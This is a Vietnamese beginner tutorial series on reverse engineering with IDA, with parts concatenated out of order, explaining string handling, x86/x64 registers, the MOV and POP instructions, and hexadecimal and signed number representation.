Trong trường hợp này, IDA sử dụng hai dòng để mô tả biến, char WindowName[] xuất hiện như hình là vì IDA nhận biết được nó thuộc API là CreateWindow(). Hàm API này nhận tham số truyền vào phải là một LPCTSTR, đó là một mảng char[] và tham số đó là một chuỗi được gọi là WindowName.

Dù bằng cách nào, là một mảng các ký tự hay các bytes thì IDA sẽ bổ sung thêm thông tin chi tiết hơn khi nó nhận diện được qua hàm API. Bên dưới 0x4020e7, địa chỉ tiếp theo sẽ là 0x4020f4, ở giữa hai địa chỉ này sẽ là một loạt các bytes liên tiếp tương ứng với các kí tự của chuỗi “Crackme v1.0” và phân định bởi số 0 ở cuối, biểu diễn cho việc kết thúc một chuỗi (hay còn gọi là null byte).

Nếu chúng ta nhấn phím D để thay đổi kiểu dữ liệu trên WindowName, bằng cách này ta sẽ ép IDA chuyển đổi thành các bytes (db) thay vì để cho IDA tự động nhận biết đó là một mảng các ký tự:

Trên hình là những byte tương ứng với chuỗi “Crackme v1.0

Tại vị trí tham chiếu tới chuỗi, câu lệnh gốc lúc này sẽ bị thay đổi. Tiền tố offset ở phía trước có nghĩa là sẽ đẩy giá trị 0x4020E7, nhưng giờ đây nội dung không còn là một mảng các ký tự nữa mà là một byte, lệnh lúc này đã được thay đổi thành:

Bởi vì khi IDA tìm kiếm nội dung của 0x4020e7 để thông báo cho chúng ta giá trị đó là gì, do tại đó đã được chuyển thành một db, điều này có nghĩa là biến lúc này đã bị đổi thành một byte duy nhất do thao tác ta đã thực hiện ở trên.

Để lấy lại chuỗi ban đầu, ta nhấn phím A, IDA sẽ tự động chuyển đổi lại thành chuỗi ASCII:

Tương tự như vậy, khi trong quá trình phân tích nế ta phát hiện bất kì chuỗi nào được biểu diễn dưới dạng các byte rời rạc như hình dưới đây:

Hãy chuyển tới vị trí bắt đầu và nhấn A, nó sẽ được chuyển thành chuỗi tương ứng:

Trong trường hợp này, ta thấy chuỗi này không được định nghĩa bằng hai dòng giống như chuỗi trước đó và cũng không cho biết nó là một CHAR [], tuy nhiên nó lại được định nghĩa bằng một thẻ bắt đầu bằng sz hoặc a (trên máy của bạn) vì nó là một chuỗi ASCII. Ở ví dụ trước, IDA cung cấp thông tin bổ xung rõ hơn bởi nó nhận diện được đó là một tham số của hàm API và thông báo rằng tham số này phải là một char[]. Đó là lý do tại sao IDA cũng cấp thêm thông tin bổ sung như vậy, còn đối với một chuỗi bình thường sẽ giống như các bạn thấy ở trên.

Ở đây chúng ta thấy một chuỗi khác:

Tại địa chỉ 0x402110, ta có thể phân tách nó thành các bytes bằng cách nhấn phím tắt D tại szMenu:

Nếu nhấn A, ta sẽ có lại chuỗi ban đầu. Nhấn X để tìm các tham chiếu tới chuỗi này, kết quả sẽ tìm được nơi mà chuỗi này được sử dụng:

Chúng ta thấy rằng lệnh Mov sẽ lấy địa chỉ 0x402110 vì có tiền tố offset ở phía trước. Thông thường, khi truyền các tham số cho một hàm, chúng ta sẽ luôn thấy lệnh có dạng PUSH offset xxxxx, bởi vì cái ta cần là truyền địa chỉ nơi mà là chuỗi, còn nếu như không có tiền tố offset mà thay vào đó là dword thì sẽ đẩy nội dung của địa chỉ 0x402110 là các bytes 55 4e 45 4d (của cùng một chuỗi). Nhưng các hàm APIs lại không hoạt động theo cách này, chúng luôn nhận con trỏ hoặc địa chỉ bắt đầu hoặc nơi mà chuỗi bắt đầu.

Trong câu lệnh bên trên, tiền tố DS: TAG chỉ ra rằng nó sẽ lưu vào một địa chỉ bộ nhớ của đoạn dữ liệu (DS = DATA). Khi làm việc với struct, chúng ta sẽ tìm hiểu về trường hợp đó. Bây giờ, vấn đề quan trọng là nó lưu địa chỉ trỏ đến đầu chuỗi vào section DATA.

Lệnh POP

Lệnh này được dùng để lấy ra giá trị từ đỉnh của ngăn xếp, sau khi thực hiện lệnh thì giá trị của thanh ghi ESP sẽ được tăng lên để trỏ tới phần tử tiếp theo.

Ở ví dụ trên hình, lệnh POP thực hiện thao tác đọc giá trị trên đỉnh của ngăn xếp và chuyển nó đến thanh ghi đích, trong trường hợp này, câu lệnh POP EDI sẽ đọc giá trị đầu tiên hay giá trị trên đỉnh của ngăn xếp và sao chép nó vào thanh ghi EDI, sau đó trỏ thanh ghi ESP vào giá trị bên dưới và giá trị mới này sẽ trở thành đỉnh của ngăn xếp.

Thử tìm kiếm các lệnh POP, chúng ta thấy rằng không có nhiều biến thể của lệnh mặc dù có khả năng thực hiện POP giá trị vào một địa chỉ bộ nhớ thay vì một thanh ghi, nhưng tùy chọn này không được sử dụng rộng rãi.

Phần 4 xin được tạm dừng tại đây. Chúng ta sẽ tiếp tục trong phần 5 với câu lệnh khác để có thể tìm hiểu thêm về LOADER của IDA.

Xin chào và hẹn gặp lại ở phần tiếp theo!

Xin gửi lời cảm ơn chân thành tới thầy Ricardo Narvaja!

m4n0w4r

Ủng hộ tác giả

Nếu bạn cảm thấy những gì tôi chia sẻ trong bài viết là hữu ích, bạn có thể ủng hộ bằng “bỉm sữa” hoặc “quân huy” qua địa chỉ:

Tên tài khoản: TRAN TRUNG KIEN
Số tài khoản: 0021001560963
Ngân hàng: Vietcombank


IDA Loader

Các bạn đã thấy rằng khi mở một file thực thi trong IDA, nó sẽ sử dụng bộ phân tích tĩnh để phân tích file hay còn được gọi là Loader. Ở chế độ Loader này, chương trình sẽ không được thực thi, nhưng nó được IDA phân tích và sau cùng sẽ tạo ra một file .idblà cơ sở dữ liệu lưu các thông tin trong quá trình phân tích, bao gồm đổi tên biến, tên hàm, các chú thích…. Trên thực tế, file .idb sẽ là tổng hợp của 5 files(.id0, .id1, .nam, .id2, and .til) được sinh ra trong quá trình phân tích:

Bên lề: IDA không có tính năng Undo như các bạn hay làm việc với các trình soạn thảo văn bản, cho nên bất kì những thay đổi nào mà bạn thực hiện trong quá trình phân tích sẽ không quay lại được và sẽ lưu thẳng vào database. Tuy nhiên, những thay đổi này chỉ là ở phía database mà thôi, nó sẽ không tác động trực tiếp lên binary gốc mà bạn đang phân tích.

Ở chế độ Loader đương nhiên sẽ không xuất hiện các cửa sổ Registers, cửa sổ Stack và danh sách các Module được nạp vào bộ nhớ mà chương trình sử dụng. Các thông tin này chỉ xuất hiện khi ta cho thực thi và debug chương trình ở chế độ Debugger. Chúng ta sẽ làm quen với tính năng debug của IDA ở các phần sau.

Sau khi nạp crackme của Cruehead vào IDA, quan sát trong danh sách các tiến trình (process) thông qua trình Task Manager, ta thấy không xuất hiện process của crackme này. Như vậy, có thể hiểu crackme không được thực thi trừ khi chúng ta sử dụng Debugger của IDA. Việc này cực kì hữu ích cho một số công việc nhất định như phân tích mã độc… Ở chế độ Loader, chúng ta có thể phân tích bất kỳ hàm nào của chương trình, tuy nhiên không phải lúc nào chúng ta cũng có thể truy xuất vào hàm mà ta cần tìm hiểu, lúc đó ta phải học cách để debug. Tất nhiên, để tìm hiểu cách phân tích các hàm, chúng ta cần phải trang bị kiến thức cơ bản về các thanh ghi và các câu lệnh asm cơ bản. Bởi vì mặc dù không debug, không có cửa sổ thanh ghi với các giá trị tại từng thời điểm, các câu lệnh sử dụng chúng thì dựa vào các kiến thức cơ bản này, ta có thể hiểu mục đích của hàm hoặc chương trình làm gì.

Các thanh ghi là gì và chúng được sử dụng cho những mục đích nào?

Nôm na các bạn có thể hiểu rằng, bộ vi xử lý khi thực thi các chương trình cần có “trợ lý” phục vụ cho nó. Các thanh ghi lúc này sẽ hỗ trợ bộ vi xử lý trong quá trình thực thi chương trình. Chúng được xem như các vùng lưu trữ nhỏ được tích hợp sẵn trong bộ xử lý (volatile memory – chỉ giữ được dữ liệu khi máy tính còn hoạt động). Khi CPU thực thi một lệnh, nó phải lấy lệnh từ bộ nhớ, giải mã lệnh, và sau đó thực hiện hành động tương ứng với mục đích của lệnh. Các hành động mà CPU thực hiện có thể thao tác thông tin trong các thanh ghi hoặc trong bộ nhớ.

Khi tìm hiểu về các lệnh ASM, các bạn sẽ biết được nội dung của hai vị trí bộ nhớ không thể cộng trực tiếp với nhau. Bộ vi xử lý sẽ phải chuyển một trong số chúng vào thanh ghi và sau đó cộng nó với vị trí bộ nhớ còn lại. Đây chỉ là một ví dụ, dĩ nhiên các thanh ghi có thể sử dụng cho những mục đích nhất định, cụ thể hơn chúng ta sẽ đi chi tiết bên dưới. Trong kiến trúc 32 bit các thanh ghi được sử dụng là EAX, ECX, EDX, EBX, ESP, EBP, ESI, EDI và EIP. Vào cuối bài, sẽ có một phần nhỏ dành cho 64 bit.

Các thanh ghi dùng chung

Chúng ta có 8 thanh ghi dùng chung, gồm:

EAX (thanh ghi chứa – accumulator): được sử dụng nhiều nhất trong các lệnh số học, logic, và chuyển dữ liệu. Các thao tác nhân, chia sử dụng thanh ghi này. Với các hàm API của Windows, kết quả trả về của hàm thường sẽ lưu vào thanh ghi EAX.

EBX (thanh ghi cơ sở – base): thanh ghi EBX có thể truy cập trực tiếp dữ liệu bộ nhớ và nó cũng là một thanh ghi dùng chung.

ECX (thanh ghi đếm – count): ECX là một thanh ghi dùng chung có thể được sử dụng như là một bộ đếm cho các lệnh khác nhau. Nó cũng có thể chứa địa chỉ lệch của dữ liệu trong bộ nhớ. Các lệnh sử dụng bộ đếm là các lệnh liên quan lặp chuỗi, các lệnh chuyển, xoay và LOOP / LOOPD.

EDX (thanh ghi dữ liệu – data): là một thanh ghi dùng chung dùng để chứa một phần kết quả của phép nhân hoặc một phần của phép chia. Nó cũng có thể truy cập địa chỉ dữ liệu trong bộ nhớ trực tiếp.

EDI (chỉ số đích – destination): EDI thường được sử dụng trong các thao tác làm việc với chuỗi hoặc mảng. Thanh ghi này sẽ trỏ tới chuỗi đích. Bên cạnh đó nó cũng là một thanh ghi dùng chung.

ESI (chỉ số nguồn – source): Giống như EDI, ESI cũng thường được sử dụng trong các thao tác làm việc với chuỗi hoặc mảng. Thanh ghi này sẽ trỏ tới chuỗi nguồn.

EBP (con trỏ cơ sở – base): EBP trỏ tới vị trí bộ nhớ, bên cạnh mục đích dùng chung thì nó được sử dụng làm frame pointer để truy xuất các tham số và các biến cục bộ trong ngăn xếp của một hàm.

ESP (con trỏ ngăn xếp – stack): thanh ghi này luôn trỏ đến đỉnh hiện thời của Stack. Theo nguyên tắc làm việc của Stack thì thanh ghi này sẽ hướng về phía địa chỉ thấp hơn.

Như vậy, có tổng cộng 8 thanh ghi 32 bit dùng chung là EAX, EBX, ECX, EDX, ESP, EBP, ESI và EDI. Ngoài ra, các thanh ghi này còn có thể chia nhỏ thành các thanh ghi 16-bit và 8-bit như hình dưới đây:

Ví dụ, nếu thanh ghi EAX có giá trị là 0x12345678 thì AX là thanh ghi 16 bit chứa bốn chữ số cuối cùng:

Thanh ghi AX có thể được tách thành 2 thanh ghi 8 bit, đó là cặp thanh ghi: AH chứa hai số 5 và 6 và AL chứa hai số cuối cùng là 7 và 8:

Như vậy các bạn có thể hình dung, thanh ghi 32 bit EAX được tách thành một thanh ghi 16 bit gọi là AX; AX được tách thành hai thanh ghi 8 bit được gọi là AHAL. Tương tự đối với các thanh ghi EBX (BX, BH và BL), ECX (CX, CH và CL) và EDX (DX, DH và DL), riêng các thanh ghi còn lại chỉ được tách thành một thanh ghi 16 bit, không chia nhỏ thêm thành các thanh ghi 8 bit:

Các thanh ghi đặc biệt

Bên cạnh các thanh ghi dùng chung ở trên, các bạn sẽ gặp các thanh ghi đặc biệt khác nữa, bao gồm:

EIP (con trỏ lệnh – instruction): đây là một thanh ghi đặc biệt, nó luôn trỏ đến lệnh tiếp theo sẽ được thực hiện. Khác với các thanh ghi khác, EIP không thể bị tác động trực tiếp bởi các lệnh.

Một thanh ghi quan trọng khác là EFLAGS (thanh ghi cờ), mỗi bit của nó được dùng để phản ánh một trạng thái nhất định của phép toán. Dựa theo kết quả tính toán mà các cờ sẽ được bật và căn cứ trên các cờ này để thực hiện rẽ nhánh thực thi của chương trình, chúng ta sẽ tìm hiểu thêm sau.

Bên lề: Zero Flag (ZF) là cờ phổ biến nhất được sử dụng trong reversing. Chủ yếu được sử dụng trong các lệnh rẽ nhánh có điều kiện, làm thay đổi luồng thực thi dựa trên các kết quả lệnh trước đó.

Tiếp theo là các thanh ghi đoạn, các thanh ghi này trỏ tới các phần khác nhau của file thực thi như CS = CODE, DS = DATA v..v…

Trong quá trình làm việc với thanh ghi và bộ nhớ thì có một chi tiết quan trọng khác là kích thước của các kiểu dữ liệu thường được sử dụng nhiều nhất:

IDA hỗ trợ xử lý nhiều loại dữ liệu mà chúng ta sẽ thấy qua từng phần một. Điều quan trọng là phải ghi nhớ rằng BYTE là 1 byte, WORD là 2 bytes và DWORD 4 bytes trong bộ nhớ.

Các lệnh ASM cơ bản

Lý do các bạn cần biết về Assembly language đó là bởi nó nằm ở tầng thấp nhất trong Software chain. Khi một phần mềm thực hiện bất kỳ hành động nào, nó cũng sẽ được biểu diễn bằng các lệnh ASM. Người ta xem Assembly là ngôn ngữ của “Reverse Engineering”, do đó để có thể bước vào con đường của một người làm về dịch ngược, bạn phải tự mình rèn luyện để có kiến thức vững về ngôn ngữ assembly trên nền tảng mà bạn muốn nghiên cứu, bởi mỗi hệ thống/ nền tảng khác nhau sẽ có tâp lệnh Asm riêng.

IDA phân rã các lệnh ASM với một số cú pháp khác so với các trình debugger như OllyDbg/x64dbg, cho nên bạn nào đang quen với cách đọc lệnh trên OllyDbg sẽ cảm thấy hơi rối một chút.

Các lệnh chuyển dữ liệu

MOV

MOV dest, srcSao chép nội dung của toán hạng nguồn (src) tới đích (dest). Thao tác: dest <- src. Lệnh này được sử dụng để chuyển dữ liệu giữa các thanh ghi, giữa một thanh ghi và một ô nhớ hoặc chuyển trực tiếp một số vào một thanh ghi hay ô nhớ. Hiểu cơ bản thì lệnh mov này có thể tương ứng với lệnh gán ở ngôn ngữ bậc cao.

Lấy một số ví dụ, đầu tiên là chuyển giá trị từ một thanh ghi này vào thanh ghi khác.

Câu lệnh như sau:MOV EAX, EDI; EAX nhận giá trị của EDI; còn EDI giữ nguyên giá trị, không bị thay đổi.

Nói chung, chỉ có thể chuyển trực tiếp dữ liệu từ hoặc đến thanh ghi, ngoại trừ thanh ghi EIP không thể là Destination hoặc Source của bất kỳ hoạt động nào. Chúng ta không thể thực hiện câu lệnh sau:

MOV EIP, EAX; Câu lệnh hày hoàn toàn không hợp lệ.

Ví dụ tiếp theo thực hiện chuyển một hằng số vào một thanh ghi như sau:

MOV EAX, 1; chuyển số 1 vào thanh ghi EAX, giá trị trước đó của thanh ghi EAX bị ghi đè lên (thay bằng giá trị mới).

Tiếp theo là câu lệnh thực hiện chuyển giá trị của một địa chỉ ô nhớ không phải là nội dung của ô nhớ đó. Các hình minh họa dưới đây là lệnh trong file VEViewer.exe (download tại đây: https://mega.nz/#!CLIgmS5S!s5qrzoxbRP5W9xblRf8bgVz5UWRcR9yGoICF-PpJbR4 )

Ở ví dụ trên, thanh ghi EAX lúc này sẽ nhận giá trị là một địa chỉ bộ nhớ. Tiền tố offset ở phía trước chỉ ra rằng phải lấy địa chỉ chứ không phải nội dung của ô nhớ đó. Vì vậy, nếu tôi nhấn Q, IDA sẽ chuyển đối câu lệnh này thành dạng:

MOV EAX, 46f038h; đây là một lệnh giống như ở OllyDbg, nhưng không cung cấp cho ta bất kỳ thông tin gì về nội dung của địa chỉ đó. Nếu nhấp chuột phải vào địa chỉ 46f038, ta có thể quay về lệnh gốc ban đầu mà IDA đã hiển thị:

Có một câu hỏi đặt ra: Liệu IDA có thể cho tôi biết về các thông tin bổ sung liên quan tới địa chỉ bộ nhớ đó không?

Nếu tôi chuyển qua cửa sổ Hex View và tìm địa chỉ trên bằng cách nhấn phím tắt G và nhập vào địa chỉ cần đến:

Ta thấy rằng, tại địa chỉ này đang lưu các bytes có giá trị 0x00. Theo mô tả địa chỉ trong IDA, tôi biết đó là một DWORD:

Nếu trở lại màn hình disassembly và nhấp đúp vào địa chỉ này, ta sẽ tới đây:

Tiền tố dword đứng đằng trước một địa chỉ, có nghĩa là nội dung của địa chỉ đó là một DWORD, sau đó có kiểu dữ liệu dd tương ứng với DWORD và tiếp theo là giá trị 0 lưu tại vị trí ô nhớ đó. Như vậy, IDA đang nói với tôi rằng chương trình sử dụng địa chỉ đó để lưu DWORD và hơn thế nữa, ở bên phải tôi thấy các tham chiếu đến vùng code mà DWORD này sẽ được sử dụng.

Như trên hình, ta thấy có hai chỗ tham chiếu. Mỗi mũi tên là một vị trí và khi đặt con trỏ chuột tại đó ta có thể xem trước được mã lệnh tại từng vị trí này.

Nếu tôi nhấn phím X trên đầu của địa chỉ, IDA sẽ hiển thị cho ta thấy các lệnh sử dụng tới địa chỉ đó:

Lệnh đầu tiên trong hình sẽ thực hiện đọc địa chỉ mà chúng ta đã thấy ở trên và lưu vào thanh ghi eax. Câu lệnh thứ hai sẽ ghi một DWORD (phụ thuộc vào giá trị của eax) vào nội dung bộ nhớ tại địa chỉ 0x46F038.

Vì vậy, trong IDA lệnh đầu tiên không chỉ thông báo cho ta rằng nó sẽ chuyển một địa chỉ vào một thanh ghi mà nó còn cho biết địa chỉ đó chứa một DWORD, đó chính là thông tin bổ sung thêm mà IDA cung cấp. Một điểm cộng cho IDA. Vậy nên, chúng ta thấy rằng khi đề cập đến các địa chỉ, IDA sẽ kèm theo tiền tố là offset và khi chúng ta đi tìm nội dung của địa chỉ đó, như trong trường hợp này sẽ có giá trị là 0. IDA mặc định không sử dụng dấu ngoặc [] như OllyDbg nếu đó là một địa chỉ.

Tổng kết lại những gì đã viết dài dòng ở trên 🙂 :

mov     eax, offset dword_46F908

Chuyển địa chỉ 0x46F908 vào thanh ghi EAX, tức là EAX = 0x46F908

mov     eax, dword_46F908

Chuyển nội dung hoặc giá trị tại địa chỉ đó vào thanh ghi EAX, tức là EAX = 0x0

Với những ai đã quen với việc sử dụng OllyDbg thì lệnh này sẽ được hiển thị trong OLLY với cặp ngoặc vuông: MOV EAX, DWORD PTR DS:[46f908]. Còn trong IDA, khi một địa chỉ có tiền tố offset ở phía trước thì có nghĩa là đang nói đến giá trị số của địa chỉ, và khi thay bằng tiền tố dword, thì có nghĩa là sử dụng đến nội dung / giá trị tại địa chỉ đó. Điều này chỉ xảy ra khi đề cập đến các địa chỉ là số, nếu ta làm việc với các thanh ghi thì sẽ thế nào? Quan sát hình dưới đây:

Lệnh trong hình sử dụng dấu ngoặc [] vì rõ ràng bạn không biết giá trị tĩnh mà thanh ghi có thể có được tại thời điểm đó và bạn không thể biết hướng nào bạn sẽ trỏ đến để lấy thêm thông tin từ đó. Tất nhiên trong trường hợp này, ví dụ nếu thanh ghi EDI trỏ tới 0x10000, lệnh này sẽ tìm nội dung trong địa chỉ bộ nhớ đó và sao chép nó vào thanh ghi ECX.

Vì vậy, điều quan trọng là phải hiểu rằng khi IDA sử dụng tiền tố offset ở phía trước của một địa chỉ, nó hàm ý đề cập đến địa chỉ ô nhớ mà không liên quan đến nội dung tại địa chỉ ô nhớ đó.

Lấy một ví dụ khác:

Trong hình trên, chúng ta thấy rằng EAX sẽ nhận giá trị 0x45f4d0 vì nó có tiền tố offset ở phía trước và nó cho ta biết rằng IDA không thể nhận biết được kiểu dữ liệu là gì nên có thêm tiền tố unk (unknown).

Trong lệnh được đánh dấu trên hình, lệnh đầu tiên thực hiện chuyển nội dung của 0x46fc50 là một giá trị DWORD và với lệnh ở dưới nó sẽ chuyển địa chỉ chính nó, nghĩa là giá trị số 0x46FC50.

Chúng ta có thể thấy giá trị đang lưu tại địa chỉ để xem giá trị nào sẽ được chuyển vào EAX tại địa chỉ 0x42f302, nhấp đúp tại 0x46fc50 ta sẽ thấy như sau:

Chúng ta thấy rằng lệnh sẽ thực hiện gán giá trị 0 cho thanh ghi EAX, nếu như một lệnh khác trong danh sách các tham chiếu không được thực hiện và lưu giá trị khác vào địa chỉ này.

Câu lệnh được đánh dấu ở trong hình sẽ lưu một giá trị DWORD vào địa chỉ bộ nhớ, trong khi những lệnh khác chỉ đọc địa chỉ với tiền tố offset hoặc đọc ra giá trị tại địa chỉ.

Ngoài các ví dụ trên, tất nhiên ta cũng hoàn toàn có thể gán hằng số vào thanh ghi 16-bit và 8-bit như chúng ta đã thấy trước đó:

Lệnh trên thực hiện gán giá trị 1 vào thanh ghi AL và giữ nguyên giá trị ban đầu đã có trước đó của thanh ghi EAX. Trường hợp này chỉ có các byte thấp của thanh ghi là bị thay đổi.

Lệnh trên gán nội dung của địa chỉ bộ nhớ 0x459c24 vào thanh ghi AX và cho chúng ta biết giá trị lấy được có kích thước là một WORD.

Và như trong hình chúng ta thấy rằng giá trị ban đầu đang là 0, có thể sau đó khi thực thi chương trình giá trị này sẽ bị thay đổi.

Trong hình minh họa trên, giá trị của thanh ghi AX được gán vào nội dung của địa chỉ đang trỏ bởi thanh ghi EBX. Vì nó là một thanh ghi và không biết đang lưu giá trị nào vào thời điểm đó, nó sử dụng cặp ngoặc [ ] để chỉ ra rằng nó ghi vào nội dung của EBX.

Thêm một ví dụ khác, lệnh trên sẽ thực hiện sẽ gán giá trị của thanh ghi AX vào nội dung của ESI + 8. Tiếp tục, tôi có lệnh như sau:

Nếu tôi nhấp đúp vào tên dài loằng ngoằng như trong hình, IDA sẽ dẫn tới đây:

Như đã biết, bảng IAT là bảng lưu thông tin địa chỉ của các hàm được import khi thực thi file, hầu như luôn luôn nằm tại section .idata hoặc .rdata. Nếu tôi quan sát địa chỉ đó tại màn hình Hex View, nó vẫn chưa có giá trị của hàm bởi vì IAT chỉ được điền đầy đủ khi thực thi chương trình, còn hiện tại thì vẫn chưa.

Có thể IDA của các bạn sẽ không hiển thị tên giống như ở màn hình của tôi. Để chuyển đổi, bạn vào menu Options – Demangle Names và chọn Names:

Để biết hàm này được lấy từ thư viện nào ta cuộn chuột lên trên một chút, kết quả là các hàm được import từ thư viện QtCoreX.dll và ở trên còn có nhiều dlls khác nữa:

Như vậy, qua bài viết này, các bạn đã thấy được rất nhiều ví dụ khác nhau của lệnh MOV. Bạn có thể thực hành và xem tại IDA với tập tin thực thi tôi đã gửi kèm. Trong phần 4, chúng ta sẽ tiếp tục với các câu lệnh khác.

Bên lề: kiến trúc x64 được thiết kế như một phần mở rộng cho x86 và có sự tương đồng mạnh mẽ với các tập lệnh x86. Có một vài sự khác biệt từ góc độ phân tích mã lệnh:

  • Các thanh ghi dùng chung 32 bit (4 byte) eax, ebx, ecx, edx, esi, edi, ebp và esp được mở rộng thành 64 bit (8 byte); các thanh ghi này được đặt tên là rax, rbx, rcx, rdx, rsi, rdi, rbp và rsp.
  • 8 thanh ghi mới được bổ sung thêm là r8, r9, r10, r11, r12, r13, r14, và r15.
  • Một chương trình có thể truy cập vào thanh ghi dưới dạng 64 bit (rax, rbx, v.v.), 32 bit (eax, ebx, v.v.), 16 bit (ax, bx, v.v.) hoặc 8 bit (al, bl, …).
  • Truy cập các thanh ghi r8 – r15 dưới dạng byte, word, dword hoặc qword bằng cách bổ sung thêm b, w, d hoặc q vào sau tên thanh ghi.
  • Trong kiến trúc x86, các tham số của hàm sẽ được đẩy vào ngăn xếp trước khi gọi hàm, trong khi ở kiến trúc x64, bốn tham số đầu tiên được truyền vào các thanh ghi rcx, rdx, r8 và r9 và nếu chương trình còn các tham số khác nữa, chúng sẽ được lưu vào stack. Điều này sẽ khiến cho khó xác định được xem địa chỉ bộ nhớ nào là biến cục bộ hay tham số của hàm.

Hẹn gặp lại các bạn!

Xin gửi lời cảm ơn chân thành tới thầy Ricardo Narvaja!

m4n0w4r

Ủng hộ tác giả

Nếu bạn cảm thấy những gì tôi chia sẻ trong bài viết là hữu ích, bạn có thể ủng hộ bằng “bỉm sữa” hoặc “quân huy” qua địa chỉ:

Tên tài khoản: TRAN TRUNG KIEN
Số tài khoản: 0021001560963
Ngân hàng: Vietcombank


Lời tựa

Như tôi đã đề cập ở phần 1, mục tiêu của bộ tutorial này là dành cho những người mới bắt đầu, do vậy có những kiến thức mà có thể nhiều bạn đã biết rồi. Bạn có thể bỏ qua nếu muốn, nhưng đối với đa số những người chưa biết, những kiến thức này sẽ rất quan trọng và đó là lý do tại sao tôi vẫn dành thời gian để hệ thống hóa lại những kiến thức cơ bản này.

Hệ thống số

Ba hệ thống số học được sử dụng nhiều nhất là số nhị phân, thập phân và thập lục phân.

Các khái niệm cơ bản của từng hệ thống số học này như sau:

BINARY (Số nhị phân): các số được biểu diễn bằng hai chữ số là 0 và 1, đó là lý do tại sao nó được gọi là nhị phân. Máy tính chỉ hiểu được số nhị phân.

DECIMAL (Số thập phân): các số được biểu diễn bằng 10 chữ số (từ 0 đến 9), đó là lý do tại sao nó được gọi là số thập phân. Con người chúng ta từ lúc sinh ra mặc định sẽ được làm quen với hệ thống số này.

HEXADECIMAL (Số thập lục phân): Tất cả các số được biểu diễn với các kí tự từ 0 đến F (từ 0 đến 9, cộng với A, B, C, D, E và F (không phân biệt chữ hoa và chữ thường), có nghĩa là sẽ có tổng cộng 16 kí tự). Trong đó: A = 10, B = 11, C = 12, D = 13, E = 14, F = 15.

Bên lề: Hệ nhị phân là cách mà một máy tính “hiểu” và “hành xử”, nhưng với con người thì nó thực sự rất bất tiện. Nó tốn quá nhiều chữ số để biểu diễn cho một số, dẫn đến khó viết và khó ghi nhớ. Chính vì lý do này, chúng ta mới cần đến hệ thập lục phân để khắc phục những vấn đề đó. Khi tìm hiểu về reversing/cracking và kể cả khi xây dựng mã khai thác (exploits), các bạn sẽ liên tục phải làm việc với các giá trị hexa, chính vì thế các bạn cần phải nắm vững nó.

Quan sát tại giao diện của IDA, nếu như bạn đã cài đặt chuẩn thì ở dưới cùng sẽ thấy có một thanh dùng để thực hiện các câu lệnh Python. Điều này sẽ hỗ trợ chúng ta chuyển đổi giữa các hệ số một cách rất dễ dàng:

Nếu tôi gõ, ví dụ 0x45, giá trị này được diễn giải như là một số thập lục phân bởi vì có tiền tố 0x ở phía trước. Chúng ta có thể chuyển đổi từ thập lục phân sang thập phân chỉ bằng cách nhấn Enter.

Kết quả có được là:

Ta nhận được số 69, đó chính là 0x45 ở hệ thập lục phân chuyển đổi sang hệ thập phân. Nếu muốn chuyển đổi ngược lại, chúng ta phải sử dụng hàm hex():

Để chuyển đổi sang hệ nhị phân ta sử dụng bin():


Kết quả có được là 1000101, tiền tố 0b ở đằng trước có nghĩa đây là số nhị phân. Chúng ta cũng có thể chuyển đổi từ hệ nhị phân sang thập phân hoặc thập lục phân.

Qua đây có thể thấy, bất kỳ số nào ta nhập trực tiếp vào thanh Python, sau khi nhấn Enter sẽ hiển thị kết quả ở hệ thập phân, để chuyển nó sang hệ Hexa hoặc Binary tương ứng, chúng ta phải sử dụng các hàm hex() hoặc bin() của Python.

Số âm trong hệ thập lục phân

Hầu như chúng ta sẽ làm việc nhiều ở hệ thập lục phân, nhưng câu hỏi đặt ra là làm thế nào để biểu diễn một số âm (32 bit) ở hệ thập lục phân? Khi các bạn học về lập trình, các bạn được học về số nguyên (integer). Để thông báo cho máy tính biết các bạn sử dụng số âm thì các bạn sẽ khai báo kiểu biến là signed integer. Lúc này, phía máy tính, nó cần phải có một phương thức để biểu diễn cho các số âm. Nếu máy tính được yêu cầu biểu diễn số âm thì sẽ nó bỏ qua bit có trọng số cao nhất (MSB) – tức là bit đầu tiên và xem bit này như là bit dấu. Nếu bit dấu là 0 đó là số dương, ngược lại nếu là 1 thì đó là số âm.

Tóm lại, với một số nhị phân 32 bit, người ta quy định sử dụng bit đầu tiên để biểu diễn dấu của số, là 0 thì đó là số dương và ngược lại, là 1 thì đó là số âm. Ví dụ:

Chúng ta thấy rằng giá trị -0x45 ở hệ thập lục phân có thể được biểu diễn là 0xffffffbb và bit đầu tiên của nó ở hệ nhị phân là 1. Bằng cách này, số dương nhỏ nhất rõ ràng là 0 nhưng số dương lớn nhất mà chúng ta có thể biểu diễn là bao nhiêu?

Chúng ta thấy rằng 0x7fffffff sẽ là số dương lớn nhất nếu ta quan tâm tới bit dấu. Nếu cộng thêm 1 vào giá trị này:

Khi đó, bit đầu tiên thay đổi thành 1 và tất cả các bit còn lại là 0. Vấn đề là trình Calculator của IDA xem xét tất cả các số đều là số dương trừ khi chúng ta thêm dấu ““ vào trước số, ví dụ:

Như vậy, giá trị âm lớn nhất là -1 tương ứng với 0xFFFFFFFF và giá trị âm nhỏ nhất sẽ là 0x80000000. Trường hợp, ta không quan tâm đến dấu, thì tất cả các giá trị sẽ là số dương nằm trong khoảng từ 0 đến 0xFFFFFFFF.

Còn nếu xem xét đến sử dụng bit dấu, chúng ta sẽ có các số dương nằm trong khoảng từ 0x0 đến 0x7FFFFFFF và các số âm nằm trong khoảng từ 0xFFFFFFFF đến 0x80000000.

Số dương

000000000 bằng 0

000000001 bằng 1

…………………………

…………………………

7FFFFFFF bằng 2147483647 thập phân (sẽ là số dương lớn nhất)

Số âm

FFFFFFFF bằng -1

FFFFFFFE bằng -2

…………………………

…………………………

80000000 bằng -2147483648 (sẽ là số âm nhỏ nhất)

Bảng mã ASCII

Một trong những vấn đề nữa mà chúng ta cần phải biết là cách mà hệ thống in/hiển thị dữ liệu trên màn hình, mỗi kí tự được gán tương ứng với một giá trị thập lục phân để biểu diễn chúng là các chữ cái, chữ số, hay biểu tượng, v.v …

